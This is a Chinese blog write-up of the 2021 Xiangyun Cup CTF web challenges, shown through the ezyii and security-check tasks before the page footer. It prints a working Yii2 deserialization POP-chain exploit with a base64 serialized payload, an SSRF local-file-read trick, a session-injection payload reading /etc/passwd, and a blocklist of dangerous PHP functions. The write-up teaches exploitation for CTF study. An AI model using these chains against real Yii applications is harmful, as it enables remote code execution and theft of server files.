祥云杯2021web writeup

本文是作者对2021年祥云杯Web安全竞赛的复盘,详细介绍了各个web挑战的考点和解题思路。涉及的考点包括yii反序列化、SSRF、session条件竞争、Nday漏洞、变量覆盖、SQL注入、Apache Flink漏洞和fastjson反序列化等。作者通过分析源码、研究利用链和复现漏洞,提供了多种解题方法,适合Web安全初学者学习。

太菜了,一个web都没做出来。接下来是复现。好好学习一下大佬们的姿势,也记录一下。篇幅较长,其中有对于源码等的分析,适合新手。大佬勿喷。

目录

web1 ezyii

考点: yii反序列化的链子

web2 安全检测

考点 :SSRF、session条件竞争

方法1

方法2

方法3

方法4

关于session

web3 crawler_z

考点:zombie 的Nday漏洞,变量覆盖

关于zombie的Nday漏洞

关于变量覆盖漏洞

 关于302跳转

web4 PackageManager2021

考点:sql注入

方法1 直接报错出密码

方法2 脚本爆破

web5 层层穿透

考点:Apache Flink 任意Jar包上传导致远程代码执行漏洞、fastjson反序列化

关于Apache Flink漏洞

 关于fastjson反序列化

web6 Secrets_Of_Admin

考点:SSRF

         考点: yii反序列化的链子

考点 :SSRF、session条件竞争

方法1

方法2

方法3

方法4

关于session


参考师傅们的wp,网上有的,侵权删。

祥云杯2021 By W&M(WEB)部分

【wp】第二届“祥云杯” by EDI安全

祥云杯wp by Syclover - HedgeDoc

2021第二届祥云杯WP - n03tAck

【技术分享】第二届"祥云杯" WEB WP (qq.com)

祥云杯-WriteUp (qq.com)

web1 ezyii

考点: yii反序列化的链子

比赛给了源码,打开源码开始审计。

当时网上看了很多yii的链子,包括CVE-2020-15148,还有先知上这个最新的链子,都没什么思路,直到看到大佬的wp,发现先知上还有个yii的四条链子利用方法。

先知第一个链子

Yii2反序列化RCE 新POP链 - 先知社区 (aliyun.com)

先知第二个链子,直接给了payload。愣是没搜出来,后来听说是因为影响到比赛,作者事先删了。

yii 2.0.42 最新反序列化利用全集 - 先知社区 (aliyun.com)

通过审计代码可以知道,这里还是用的是在Codeception\Extension目录下的RunProcess.php文件 ,这里的__destruct()会遍历$this->processes,那我们可以通过$this->processes变量遍历时赋值的$process来调用__toString() 在

$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());

中 $process->getCommandLine()会返回一个值,而'.'作为字符串链接符,使$process被当作字符串进行了使用,所以触发了__toString()

所以我们搜索__toString()发现,在AppendStream.php里面含有这个函数,调用了$this->rewind(),跟进rewind发现调用了seek()函数,继续跟进发现$stream参数又走向了CachingStream.php类中的rewind方法,

在这里getSize()是调用的PumpStream.php中的方法

但我们先不管,在seek方法中,这里调用了read方法,我们跟进read方法,发现这里继续跳转到了PumpStream.php中的read方法。

然后查看PumpStream.php中的read方法,发现这里调用了pump方法,跟进pump函数,发现了call_user_func(),结合返回值可控的__call()方法,实现命令执行。

至此反序列化POP链分析完成,构造exp如下

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}


namespace Faker{
    class DefaultGenerator
{
    protected $default;


    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

paylaod

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0aW9uXEV4dGVuc2lvblxSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcHBlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlSHR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6IgBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZW1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6MDt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtIjozOntzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTc4OnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjIzOiJmdW5jdGlvbigpe1xwaHBpbmZvKCk7fSI7czo1OiJzY29wZSI7czoyNjoiR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0iO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNmVlZGE5YjkwMDAwMDAwMDQxOGMxZmJkIjt9fXM6MzI6IgBHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbQBzaXplIjtpOi0xMDtzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0AYnVmZmVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjE6ImoiO319fX1zOjM4OiIAR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbQBzZWVrYWJsZSI7YjoxO319fX0=

运行结果

web2 安全检测

考点 :SSRF、session条件竞争

打开界面发现是个登录界面,任意用户都可以登录,接着就是一个输入框,让你对链接进行安全检测。post check2.php,会file_get_contents(报错得知)验证一个url是否可以访问,然后get preview.php可以查看这个url的内容。

对于这种题,大佬们有下面几种方法

方法1

通过fuzz可知,传入的url任意位置包含http或者http:// 即可进行读取。所以直接传入/var/www/html/http://../check2.php 就可以读取本地文件。

通过读取/etc/apache2/apache2.conf。我们可以看到

<Directory "/var/www/html/admin">
    Options +Indexes +FollowSymLinks +ExecCGI
        deny from all
        Allow from 127.0.0.1
</Directory>

因此找到/admin目录,因为开启了目录遍历,我们可以通过ssrf找到文件名/admin/include123.php,就可以看到源码, 通过源码分析得知是session条件竞争。

include123.php可以包含本地session文件,check2.php文件把url存储在session中,login.php则对存入的session的用户名进行了过滤,但是过滤不多,因此可以让url是

http://www.example.com/?<?php $a='read'.'fi'.'le';$a('/etc/passwd');?>aaa

的方式让session包含命令执行的payload。然后包含这个session实现代码执行。

方法2

通过ssrf传 http://127.0.0.1/admin 访问到了include123.php文件。

 查看文件代码

<?php
$u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){    
    if (preg_match( "/$value/i", $u )){
        echo "检测到恶意字符";
        exit(0);
    }
}
include($u);
show_source(__FILE__);
?>

可以发现包含了$u参数,直接文件包含session就可以了。直接get

http://127.0.0.1/admin/include123.php?u=/tmp/sess_00caa6eb6466d7285aea5af21eb5f6a1&a=

这里是直接读了session文件,关于session文件可以去phpinfo里面找。。

方法3

师傅用的方法跟方法2一样,不一样的是写了个脚本来读session文件,没有方法2中师傅那么粗暴,直接读文件

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值